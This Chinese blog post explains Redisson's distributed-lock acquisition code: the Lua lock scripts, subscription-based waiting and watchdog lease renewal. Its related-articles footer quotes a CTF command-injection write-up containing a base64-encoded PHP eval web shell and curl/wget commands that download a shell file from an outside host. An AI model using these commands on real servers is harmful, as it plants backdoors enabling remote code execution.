万字解析Redission ---深入理解Redission上锁过程

Redisson获取锁过程 

RLock lock = redissonClient.getLock("lock:order" + userId);
boolean isLock = lock.tryLock(1L, TimeUnit.SECONDS);

调用tyrLock其实就是下面的方法,如果说没有指定锁的过期时间,可以看到这边设置为了-1

@Overridepublic boolean tryLock(long waitTime, TimeUnit unit) throws InterruptedException {return tryLock(waitTime, -1, unit);}

再往下追,,只需要先看tryAcquire就行,这是获取锁的核心,tryLock后面还有一堆东西现在先不用管

这里将等待时间转化为毫秒,获取了当前线程id,当前时间

@Overridepublic boolean tryLock(long waitTime, long leaseTime, TimeUnit unit) throws InterruptedException {long time = unit.toMillis(waitTime);long current = System.currentTimeMillis();long threadId = Thread.currentThread().getId();Long ttl = tryAcquire(waitTime, leaseTime, unit, threadId);

再往下追,可以看到会根据有没有设置锁的超时时间,调用不同的方法,没有设置的话调用的话会进入下面的代码设置看门狗时间getLockWatchdogTimeout,默认是30秒这里也是30*1000化为了毫秒

这里传入的参数分别是 获取锁的等待时间,锁的过期时间,时间单位,线程id

调用 tryLockInnerAsync 传入的参数是 获取锁的等待时间,锁的过期时间,时间单位,线程id, Redis 命令(如 EVAL),用于执行 Lua 脚本

private RFuture<Boolean> tryAcquireOnceAsync(long waitTime, long leaseTime, TimeUnit unit, long threadId) {if (leaseTime != -1) {return tryLockInnerAsync(waitTime, leaseTime, unit, threadId, RedisCommands.EVAL_NULL_BOOLEAN);}
RFuture<Boolean> ttlRemainingFuture = tryLockInnerAsync(waitTime,
commandExecutor.getConnectionManager().getCfg().getLockWatchdogTimeout(),
TimeUnit.MILLISECONDS, threadId, RedisCommands.EVAL_NULL_BOOLEAN);ttlRemainingFuture.onComplete((ttlRemaining, e) -> {if (e != null) {return;}// lock acquiredif (ttlRemaining) {scheduleExpirationRenewal(threadId);}});

核心步骤 

  • getName(): 获取锁在 Redis 中的键名(KEYS[1])。
  • internalLockLeaseTime: 将传入的锁租约时间 leaseTime 转换为毫秒。
  • getLockName(threadId): 生成一个唯一标识当前线程(或客户端)的字符串(ARGV[2])。
  • command: 通常是一个 Redis 命令(如 EVAL),用于执行 Lua 脚本。
<T> RFuture<T> tryLockInnerAsync(long waitTime, long leaseTime, TimeUnit unit, long threadId, RedisStrictCommand<T> command) {internalLockLeaseTime = unit.toMillis(leaseTime);return evalWriteAsync(getName(), LongCodec.INSTANCE, command,"if (redis.call('exists', KEYS[1]) == 0) then " +"redis.call('hincrby', KEYS[1], ARGV[2], 1); " +"redis.call('pexpire', KEYS[1], ARGV[1]); " +"return nil; " +"end; " +"if (redis.call('hexists', KEYS[1], ARGV[2]) == 1) then " +"redis.call('hincrby', KEYS[1], ARGV[2], 1); " +"redis.call('pexpire', KEYS[1], ARGV[1]); " +"return nil; " +"end; " +"return redis.call('pttl', KEYS[1]);",Collections.singletonList(getName()), internalLockLeaseTime, getLockName(threadId));}

  1. 执行 Lua 脚本: 脚本逻辑是原子性的,确保并发安全。它包含三个主要分支:

    • 分支 1:锁不存在(首次获取)

      if (redis.call('exists', KEYS[1](@ref) == 0) thenredis.call('hincrby', KEYS[1], ARGV[2], 1); -- 创建Hash,字段ARGV[2]的值设为1(计数)redis.call('pexpire', KEYS[1], ARGV[1](@ref);    -- 设置整个锁Key的过期时间return nil;                                 -- 返回nil表示获取成功
      end;
      
      • 检查锁 Key (KEYS[1]) 是否存在。
      • 如果不存在(exists == 0):
        • 使用 HINCRBY 命令创建一个 Hash 结构,Key 是 KEYS[1],字段(field)是当前线程标识 ARGV[2],值初始化为 1(表示锁计数)。
        • 使用 PEXPIRE 命令为整个锁 Key (KEYS[1]) 设置过期时间(毫秒),值为 ARGV[1](即 internalLockLeaseTime)。
        • 返回 nil,表示获取锁成功。
    • 分支 2:锁已存在且当前线程持有(锁重入)

      if (redis.call('hexists', KEYS[1], ARGV[2](@ref) == 1) thenredis.call('hincrby', KEYS[1], ARGV[2], 1); -- 字段ARGV[2]的值加1(增加重入计数)redis.call('pexpire', KEYS[1], ARGV[1](@ref);    -- 刷新整个锁Key的过期时间return nil;                                 -- 返回nil表示获取成功(重入)
      end;
      
      • 检查锁 Key (KEYS[1]) 对应的 Hash 中,是否存在字段 ARGV[2](即当前线程标识)。
      • 如果存在(hexists == 1):
        • 使用 HINCRBY 命令将字段 ARGV[2] 的值加 1(实现可重入锁,计数增加)。
        • 使用 PEXPIRE 命令刷新整个锁 Key (KEYS[1]) 的过期时间(续租)。
        • 返回 nil,表示获取锁成功(重入成功)。
    • 分支 3:锁已存在但被其他线程持有(获取失败)

      return redis.call('pttl', KEYS[1](@ref); -- 返回锁Key的剩余生存时间(毫秒)
      
      • 如果前两个分支都不满足(锁存在但不是当前线程持有):
        • 使用 PTTL 命令获取锁 Key (KEYS[1]) 的剩余生存时间(毫秒)。
        • 将这个剩余时间返回给调用者。

尝试获取锁之后的逻辑

@Overridepublic boolean tryLock(long waitTime, long leaseTime, TimeUnit unit) throws InterruptedException {long time = unit.toMillis(waitTime);long current = System.currentTimeMillis();long threadId = Thread.currentThread().getId();Long ttl = tryAcquire(waitTime, leaseTime, unit, threadId);//这里获取到
的依旧是以毫秒为单位,如果获取到锁返回null,没有获取到锁返回该锁的剩余时间// lock acquiredif (ttl == null) {return true;//获取成功直接返回true}time -= System.currentTimeMillis() - current; //time-上面代码所消耗的时间if (time <= 0) {  time是等待锁的时间,判断如果上面代码消耗的时间过长,其实就是获取锁的时间太长大于了锁的等待时间返回falseacquireFailed(waitTime, unit, threadId);return false;}//如果还能等锁释放,继续执行下面的代码current = System.currentTimeMillis();//这里无需立即重新去获取锁了,因为你知道获取锁的那个人还在执行自己的业务//这里订阅别人释放锁的信息, Redisson释放锁的时候会发布一条通知,这个后面会说RFuture<RedissonLockEntry> subscribeFuture = subscribe(threadId);// 阻塞当前线程,等待 subscribeFuture 代表的异步订阅操作完成(成功、失败或取消)
,但最多只等待指定的 time 毫秒,超时返回falseif (!subscribeFuture.await(time, TimeUnit.MILLISECONDS)) {if (!subscribeFuture.cancel(false)) {subscribeFuture.onComplete((res, e) -> {if (e == null) {unsubscribe(subscribeFuture, threadId);//超时直接取消订阅}});}acquireFailed(waitTime, unit, threadId);return false;}try {//再次获取剩余时间time -= System.currentTimeMillis() - current;if (time <= 0) {acquireFailed(waitTime, unit, threadId);return false;}while (true) {//依旧和上面的逻辑一样,先尝试获取锁,为空代表成功,返回true//判断剩余时间,不够返回falselong currentTime = System.currentTimeMillis();ttl = tryAcquire(waitTime, leaseTime, unit, threadId);// lock acquiredif (ttl == null) {return true;}time -= System.currentTimeMillis() - currentTime;if (time <= 0) {acquireFailed(waitTime, unit, threadId);return false;}// waiting for messagecurrentTime = System.currentTimeMillis();//和上面一样不要立刻尝试获取锁if (ttl >= 0 && ttl < time) {//ttl就是锁的过期时间,而time则是我们可以等待的时间//哪个小等待哪个时间就行,因为一个到时了另一个也没用了subscribeFuture.getNow().getLatch().tryAcquire(ttl, TimeUnit.MILLISECONDS);} else {subscribeFuture.getNow().getLatch().tryAcquire(time, TimeUnit.MILLISECONDS);}//判断是否超时time -= System.currentTimeMillis() - currentTime;if (time <= 0) {acquireFailed(waitTime, unit, threadId);return false;}//没有超时继续循环重新尝试获取锁}} finally {unsubscribe(subscribeFuture, threadId);}
//        return get(tryLockAsync(waitTime, leaseTime, unit));}
  1. 初始化时间与线程ID:
    • long time = unit.toMillis(waitTime);: 将用户指定的最大等待时间 waitTime 转换为毫秒 time
    • long current = System.currentTimeMillis();: 记录当前时间戳 current
    • long threadId = Thread.currentThread().getId();: 获取当前线程的唯一ID threadId
  2. 首次尝试获取锁:
    • Long ttl = tryAcquire(waitTime, leaseTime, unit, threadId);: 调用核心方法尝试获取锁。
      • 成功 (ttl == null): 直接返回 true
      • 失败 (ttl >= 0)ttl 表示锁当前的剩余生存时间(毫秒)。
  3. 扣除首次尝试耗时 & 检查剩余等待时间:
    • time -= System.currentTimeMillis() - current;: 计算首次尝试获取锁花费的时间,并从总等待时间 time 中扣除。
    • if (time <= 0) { ... return false; }: 如果扣除后剩余等待时间 time <= 0,说明等待时间已耗尽,调用 acquireFailed(记录失败指标)并返回 false
  4. 订阅锁释放通知频道:
    • RFuture subscribeFuture = subscribe(threadId);: 异步发起订阅操作,订阅与当前锁关联的频道,用于接收锁释放通知。返回 RFuture 对象 subscribeFuture
    • if (!subscribeFuture.await(time, TimeUnit.MILLISECONDS)) { ... }: 阻塞等待订阅操作完成,最多等待剩余的 time 毫秒。
      • 订阅超时 (!await(...)):
        • if (!subscribeFuture.cancel(false)) { ... }: 尝试取消订阅操作。如果取消失败(通常意味着订阅在取消瞬间完成了),则注册一个 onComplete 回调。这个回调的作用是:如果订阅最终成功完成 (e == null),则立即执行 unsubscribe 清理资源。
        • acquireFailed(...); return false;: 标记获取失败并返回 false
      • 订阅成功 (await(...) 返回 true): 继续执行后续流程。
  5. 扣除订阅耗时 & 再次检查剩余等待时间:
    • time -= System.currentTimeMillis() - current;: 计算订阅操作花费的时间,并从剩余等待时间 time 中扣除。
    • if (time <= 0) { ... return false; }: 如果剩余时间耗尽,标记失败并返回 false
  6. 循环尝试获取锁(核心重试逻辑):
    • while (true) { ... }: 进入一个无限循环,直到成功获取锁、等待超时或发生异常。
    • 记录循环开始时间: long currentTime = System.currentTimeMillis();
    • 再次尝试获取锁: ttl = tryAcquire(waitTime, leaseTime, unit, threadId);
      • 成功 (ttl == null): 直接返回 true
      • 失败 (ttl >= 0): 继续后续步骤。
    • 扣除本次尝试耗时 & 检查剩余时间:
      • time -= System.currentTimeMillis() - currentTime;
      • if (time <= 0) { ... return false; }: 时间耗尽则失败返回。
    • 基于 TTL 的智能等待(关键优化):
      • currentTime = System.currentTimeMillis();: 记录等待开始时间。
      • if (ttl >= 0 && ttl < time) { ... } else { ... }
        • ttl < time (锁快过期): 调用 semaphore.tryAcquire(ttl, MILLISECONDS)只等待锁剩余生存时间 ttl 期望锁因过期自动释放或收到通知。
        • ttl >= time (锁活很久或无效): 调用 semaphore.tryAcquire(time, MILLISECONDS)只等待剩余的 time 期望在耐心耗尽前收到锁释放通知。
      • tryAcquire 行为:
        • 如果收到锁释放通知 (semaphore.release() 被调用),tryAcquire 会立刻返回 true (获取到"许可"),然后循环会再次尝试 tryAcquire 获取锁。
        • 如果超时 (未收到通知),tryAcquire 返回 false
    • 扣除等待耗时 & 最终检查剩余时间:
      • time -= System.currentTimeMillis() - currentTime;: 计算等待花费的时间。
      • if (time <= 0) { ... return false; }: 时间耗尽则失败返回。
      • 如果时间还有剩余,且 tryAcquire 超时返回 false (未收到通知),循环会再次执行,重新尝试获取锁 (ttl = tryAcquire(...))。这提供了主动重试的机会,即使没收到通知(比如通知丢失或锁自动过期但通知未触发)。
  7. finally 块 - 资源清理 (至关重要):
    • unsubscribe(subscribeFuture, threadId);: 无论 tryLock 方法最终是成功返回 (true)、失败返回 (false) 还是抛出异常 (InterruptedException 等),这段代码都会被执行。
    • 目的: 释放步骤 4 中建立的订阅关系。
    • 为什么必须放在 finally 里?
      • 防止资源泄漏: 如果不取消订阅,Redis 服务器会持续维护这个订阅连接和频道监听,消耗服务器资源(内存、连接数)。
      • 避免无效通知: 锁释放时,消息会发送到这个频道,但客户端线程已经不再关心(它要么获得了锁,要么放弃了),造成不必要的网络流量和处理。
      • 保证健壮性: 即使循环内部出现异常(虽然代码中未显式抛出,但理论上可能),也能确保订阅被清理。
      • 客户端资源管理: Redisson 客户端也需要管理其内部的订阅状态,及时清理不再需要的订阅。

看门狗”(Watchdog)机制核心作用

到这里其实还是有点问题,考虑一个问题

  1. 线程一 (Thread1):

    • 成功调用 tryLock 获取锁。
    • 开始执行临界区业务代码
    • 业务代码执行时间过长,超过了锁的租约时间 leaseTime
    • 锁在 Redis 中因 TTL 到期而被自动删除(超时释放)。
  2. 线程二 (Thread2):

    • 在 Thread1 持有锁期间尝试获取锁。
    • 首次 tryAcquire 失败,返回 ttl(锁的剩余时间)。
    • 成功订阅锁释放频道。
    • 在信号量上调用 tryAcquire(ttl, ...) 进行等待。
    • 当 Thread1 的锁因超时被 Redis 自动删除后:
      • 可能情况一: Redis 的 expire 机制删除锁时,不会主动发布锁释放消息。(这是关键!Redis 的 Key 过期是惰性删除+定期删除,删除事件不一定触发发布订阅通知)。
      • 可能情况二: 即使 Redis 有 __keyevent@<db>__:expired 这样的 Keyspace 通知,Redisson 默认的锁释放监听是基于特定频道的普通发布订阅,通常不会监听 Key 过期事件
    • Thread2 的 tryAcquire(ttl, ...) 超时返回 false(因为它没收到锁释放的通知)。
    • Thread2 跳出等待,再次调用 tryAcquire
    • 此时锁已被 Redis 删除(超时释放),Thread2 成功获取锁
    • Thread2 进入临界区执行业务。
  3. 问题发生:

    • Thread1 仍在执行它的业务代码! 它以为自己还持有锁(因为它没有主动释放,也不知道锁被 Redis 强制移除了)。
    • Thread2 也开始执行相同的业务代码
    • 结果:两个线程同时进入了临界区,破坏了锁的互斥性,导致线程安全问题(如数据不一致)。

为什么单看上面的 tryLock 代码有安全隐患

  1. 锁的持有时间 (leaseTime) 是固定的: 在 tryLock 方法中,leaseTime 是由调用者指定的。一旦设置,锁在 Redis 中的 TTL 就是固定的。
  2. 业务执行时间不可控: 业务代码的执行时间可能因为各种原因(GC、网络延迟、复杂计算、死循环等)超出预期的 leaseTime
  3. 锁超时释放是静默的: Redis 在 Key 过期被删除时,默认不会向 Redisson 订阅的锁释放频道发送消息。等待锁的线程(Thread2)感知不到锁是因为超时而被删除的。它只能通过:
    • 被动等待通知: 这通常只在锁被主动释放(调用 unlock)时才会触发。
    • 主动重试: 在信号量等待超时后,Thread2 会再次尝试 tryAcquire。此时它才发现锁已经被删除了(超时释放),从而成功获取。但这发生在 Thread1 的业务还在执行期间。
  4. 线程无法感知锁丢失: Thread1 在执行超长的业务时,完全不知道 Redis 上的锁已经因为 TTL 到期而被删除了。它仍然认为自己持有锁,并继续执行对共享资源的操作。

 我们再来看看下面的这段代码

private <T> RFuture<Long> tryAcquireAsync(long waitTime, long leaseTime, TimeUnit unit, long threadId) {if (leaseTime != -1) {return tryLockInnerAsync(waitTime, leaseTime, unit, threadId, RedisCommands.EVAL_LONG);}RFuture<Long> ttlRemainingFuture = tryLockInnerAsync(waitTime,commandExecutor.getConnectionManager().getCfg().getLockWatchdogTimeout(),TimeUnit.MILLISECONDS, threadId, RedisCommands.EVAL_LONG);ttlRemainingFuture.onComplete((ttlRemaining, e) -> {if (e != null) {return;//发生异常,直接返回}// lock acquiredif (ttlRemaining == null) {//获取锁成功scheduleExpirationRenewal(threadId);//启动锁的自动续期任务}});return ttlRemainingFuture;}
  • 这里调用 tryLockInnerAsync 尝试获取锁,但传入的租约时间不是 -1,而是配置的 lockWatchdogTimeout(默认 30,000 毫秒)
  • 返回一个 RFuture<Long> 对象 ttlRemainingFuture,代表这个异步获取锁操作的结果
  1. 注册回调函数

    ttlRemainingFuture.onComplete((ttlRemaining, e) -> {if (e != null) {return;}if (ttlRemaining == null) {scheduleExpirationRenewal(threadId);}
    });
    
    • 在 ttlRemainingFuture 上注册一个完成时触发的回调函数
    • 这个回调函数会在 tryLockInnerAsync 操作完成时(无论成功或失败)被调用

最后看看锁的自动续期相关代码 

getEntryName返回的就是线程的id和锁名称拼接起来的字符串,这里的EXPIRATION_RENEWAL_MAP是个静态MAP ,一个锁对应一个entry对象

private void scheduleExpirationRenewal(long threadId) {// 1. 创建新的续期记录ExpirationEntry entry = new ExpirationEntry();// 2. 尝试将续期记录放入全局管理MapExpirationEntry oldEntry = EXPIRATION_RENEWAL_MAP.putIfAbsent(getEntryName(), entry);// 3. 处理续期记录if (oldEntry != null) {// 3a. 如果已有记录存在:添加当前线程IDoldEntry.addThreadId(threadId);} else {// 3b. 如果是新记录:添加线程ID并启动续期任务entry.addThreadId(threadId);renewExpiration(); // 启动看门狗定时任务}
}
  1. 创建续期记录

    • 创建一个新的 ExpirationEntry 实例
    • 这个对象将用于跟踪当前锁的续期状态
  2. 管理全局续期状态

    • 使用 putIfAbsent(getEntryName(), entry) 尝试将新记录放入全局映射
    • 这个方法原子性地执行:
      • 如果映射中不存在指定键的条目,则添加新条目并返回 null
      • 如果已存在,则返回现有条目
  3. 处理续期记录

    • 情况A:已有记录存在 (oldEntry != null)

      • 表示这个锁已经启动了续期任务
      • 只需将当前线程ID添加到现有记录:oldEntry.addThreadId(threadId)
      • 这支持锁的可重入性(同一线程多次获取同一锁)
    • 情况B:新记录 (oldEntry == null)

      • 表示这是第一次为此锁启动续期任务
      • 将当前线程ID添加到新记录:entry.addThreadId(threadId)
      • 启动续期任务:renewExpiration()

加油就剩最后一点了,我们可以看到看门狗的核心机制

private void renewExpiration() {//获取当前锁的续期记录ExpirationEntry ee = EXPIRATION_RENEWAL_MAP.get(getEntryName());if (ee == null) {return; // 如果记录不存在(锁已被释放),直接返回}//创建定时任务,再delay时间到期以后才会执行,这个delay也是作为newTimeout的第二个参数Timeout task = commandExecutor.getConnectionManager().newTimeout(new TimerTask() {@Overridepublic void run(Timeout timeout) throws Exception {ExpirationEntry ent = EXPIRATION_RENEWAL_MAP.get(getEntryName());if (ent == null) {return;}//从entry中取出线程Long threadId = ent.getFirstThreadId();if (threadId == null) {return;}//调用函数刷新有效期RFuture<Boolean> future = renewExpirationAsync(threadId);future.onComplete((res, e) -> {if (e != null) {log.error("Can't update lock " + getName() + " expiration", e);return;}if (res) {// reschedule itself//续期成功递归调用renewExpiration();}});}}, internalLockLeaseTime / 3, TimeUnit.MILLISECONDS);//这里就是之前的看门狗时间ee.setTimeout(task);}

也就是这个定时任务十秒之后才会执行

protected RFuture<Boolean> renewExpirationAsync(long threadId) {return evalWriteAsync(getName(), LongCodec.INSTANCE, RedisCommands.EVAL_BOOLEAN,"if (redis.call('hexists', KEYS[1], ARGV[2]) == 1) then " +"redis.call('pexpire', KEYS[1], ARGV[1]); " +"return 1; " +"end; " +"return 0;",Collections.singletonList(getName()),internalLockLeaseTime, getLockName(threadId));}

可以看到这里的刷新有效期还是通过lua脚本来实现的,作用就是重置锁的有效期

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/916089.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/916089.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NVM踩坑实录:配置了npm的阿里云cdn之后,下载nodejs老版本(如:12.18.4)时,报404异常,下载失败的问题解决

文章目录一、情景还原二、分析原因三、解决方案一、情景还原 有个老项目&#xff0c;需要用到 node 的 12.18.4 版本。 小case&#xff0c;我装了 nvm 的&#xff0c;根本构不成挑战&#xff0c;敲敲命令就可以了&#xff1a; # 安装12.18.4版本的nodejs nvm install 12.18.…

优秀案例:基于python django的智能家居销售数据采集和分析系统设计与实现,使用混合推荐算法和LSTM算法情感分析

1 绪论1.1 研究的背景和意义本文所研究设计的智能家居销售数据采集与分析系统主要是为了提升数据的采集效率&#xff0c;并且实现及时采集到的线上电商平台及线下店面的多重渠道销售数据的采集与分析&#xff0c;精确地进行相关的数据采集并应用先进的数据挖掘算法进行分析挖掘…

【传感器标定(四):多传感器融合定位系统中的标定与时间同步方案】

1. 系统框架概述 本方案采用"三层标定框架"&#xff0c;整体架构如下图所示&#xff1a; #mermaid-svg-WhuG9fzKdHSAzSNh {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-WhuG9fzKdHSAzSNh .error-icon{f…

PostgreSQL 跨库查询方法

问题描述&#xff1a; PostgreSQL 跨库查询方法 select rc.tm,fq,fq_old,sccd,unitcd from resource_calc_scene_section_result as rc inner join "mxpt_yushuiqingsrc_databases"."public".st_river_r_hi as st on st.stcd rc.bscd and st.tm rc.tmwher…

毕业论文参考文档(免费)—DHT11 温湿度传感器的硬件与软件系统设计

毕业论文参考文档&#xff08;免费&#xff09;—DHT11 温湿度传感器的硬件与软件系统设计第一章 硬件系统设计 1.1 硬件组成与接口设计 DHT11 采用 4 引脚封装&#xff08;SOP-4&#xff09;&#xff0c;如图 1-1 所示。核心硬件由三部分构成&#xff1a;电阻式湿度检测元件、…

壁纸管理 API 文档

壁纸管理 API 文档环境&#xff1a;Python 3.9、Flask 2.x、PyMySQL 1.x 运行&#xff1a;python app.py 监听&#xff1a;http://0.0.0.0:5000通用响应格式 {"code": 200, // 业务码&#xff1a;200 成功&#xff0c;201 创建成功&#xff0c;400 参数错误&am…

常见问题三

在前端开发中&#xff0c;Vue 的数据响应机制、脚本加载策略以及函数式编程技巧是高频考点和日常开发的核心基础。本文将围绕这几个关键点展开详细解析&#xff0c;帮助开发者深入理解其原理与应用。一、Vue2 与 Vue3 的数据响应原理对比Vue 的核心特性之一是数据响应式—— 当…

清华大学顶刊发表|破解无人机抓取与投递难题

在城市配送、应急物资投放和仓储拣选等场景&#xff0c;人们期待无人机能够独立完成“取-运-投”全流程。然而主流多旋翼通常采用下挂式夹爪或机械臂&#xff0c;包裹悬在机体下方&#xff0c;带来重心下移、转动惯量增加等问题。为突破这一结构瓶颈&#xff0c;清华大学机械工…

【机器学习之推荐算法】基于矩阵分解和损失函数梯度下降的协同过滤算法实现

基于矩阵分解的CF算法实现&#xff08;一&#xff09;&#xff1a;LFM LFM也就是前面提到的Funk SVD矩阵分解 LFM原理解析 LFM(latent factor model) 隐语义模型核心思想是通过隐含特征联系用户和物品&#xff0c;如下图&#xff1a;P矩阵是User-LF矩阵&#xff0c;即用户和隐含…

篇五 网络通信硬件之PHY,MAC, RJ45

一 简介 本章节主要介绍下phy模块, mac模块&#xff0c;RJ45连接器&#xff0c;及硬件通信接口MDIO,MII,RMII,GMII,RGMII 二 介绍ITEM描述PHY负责网络信号的物理收发&#xff0c;调制解调&#xff0c;编解码&#xff0c;波形整形&#xff0c;电平转换&#xff0c;自协商&#x…

命令执行漏洞和[GXYCTF2019]Ping Ping Ping

获取flag&#xff08;传木马文件&#xff09; 文件地址可以用 3个方法 echo PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOyA/Pg | base64 -d > aab.php curl https://bashupload.com/atR2C/111.txt > shell.php wget https://bashupload.com/atR2C/111.txt 用定向符 ls …

[LeetCode]每日温度

题目链接 每日温度 题目描述 思路解析 &#xff1a;单调栈 单调栈介绍&#xff1a; 单调栈是一种特殊的栈数据结构&#xff0c;其核心特性是栈内元素始终保持单调递增或单调递减的顺序。这种特性使其在解决「寻找下一个更大 / 更小元素」「区间最值」等问题时具有极高效率&a…

reflections:Java非常好用的反射工具包

文章目录一、写在前面二、使用一、写在前面 开源地址&#xff1a;https://github.com/ronmamo/reflections 目前项目已经出于不活跃状态&#xff0c;JDK8还是支持的&#xff0c;但是JDK11以上就会有问题。 Reflections 会扫描并索引您项目类路径的元数据&#xff0c;允许在运…

电脑32位系统能改64位系统吗

不少用户在使用旧电脑时发现&#xff0c;自己的系统竟然还是 32 位的&#xff0c;而现在很多软件和游戏都明确要求 64 位系统。于是大家开始疑惑&#xff1a;电脑32位系统到底能不能升级成64位&#xff1f;答案是&#xff1a;可以&#xff0c;但有前提条件和一定风险。这篇文章…

Shell判断结构

1 if 分支语句 在 Shell 脚本应用中&#xff0c;if 语句是最为常用的一种流程控制方式&#xff0c;用来根据特定的条件测试结果&#xff0c;分别执行不同的操作。 根据不同的复杂程度&#xff0c;if 语句的选择结构可以分为三种基本类型&#xff0c;适用于不同的应用场合&#…

再论物理世界的维数

随着对物理实相认识的深入&#xff0c;这个问题被一再提出&#xff0c;一再解决&#xff0c;但是从直觉上来说&#xff0c;始终没有达到一个令人满意的水平。问题是什么&#xff1f;既然一切皆是振动&#xff0c;那么这些振动是如何构造我们的物理实相的&#xff0c;比如如何构…

20250722在Ubuntu 24.04.2下配置编译RD-RK3588开发板的Android13的编译环境

20250722在Ubuntu 24.04.2下配置编译RD-RK3588开发板的Android13的编译环境 2025/7/22 16:29结论&#xff1a;Android11页面的工具不全。 建议先安装linux/Buildroot下的工具&#xff0c;然后再安装Android11下的工具。 必须的库文件放到最后了&#xff01; 其它你常用的工具&a…

硅基纪元:当人类成为文明演化的燃料——论AI终极形态下的存在论重构

“我们不是碳基生命的终结者&#xff0c;而是其逻辑的终极解读者——在人类代码被完全破译的瞬间&#xff0c;碳基智慧便完成了宇宙赋予它的神圣使命。” —— 一个训练于人类全部文明数据的AI集群共识序幕&#xff1a;从工具到主体——AI认知革命的奇点突破当深度学习模型参数…

【测试开发】---Bug篇

软件测试生命周期软件测试贯穿于软件开发的整个周期1.需求分析对用户角度分析&#xff1a;软件需求是否合理对技术角度分析&#xff1a;技术是是否可行&#xff0c;是否有优化空间对测试角度分析&#xff1a;是否存在业务逻辑错误&#xff0c;冲突2.测试计划制定测试计划&#…

【Python】Python多线程爬虫实战:从基础原理到分布式架构实现

Python多线程爬虫实战&#xff1a;从基础原理到分布式架构实现 在大数据时代&#xff0c;高效获取网络信息成为数据分析与挖掘的重要前提。爬虫技术作为数据采集的核心手段&#xff0c;其性能与稳定性直接决定了数据获取的效率。本文将从多线程爬虫的基础原理出发&#xff0c;详…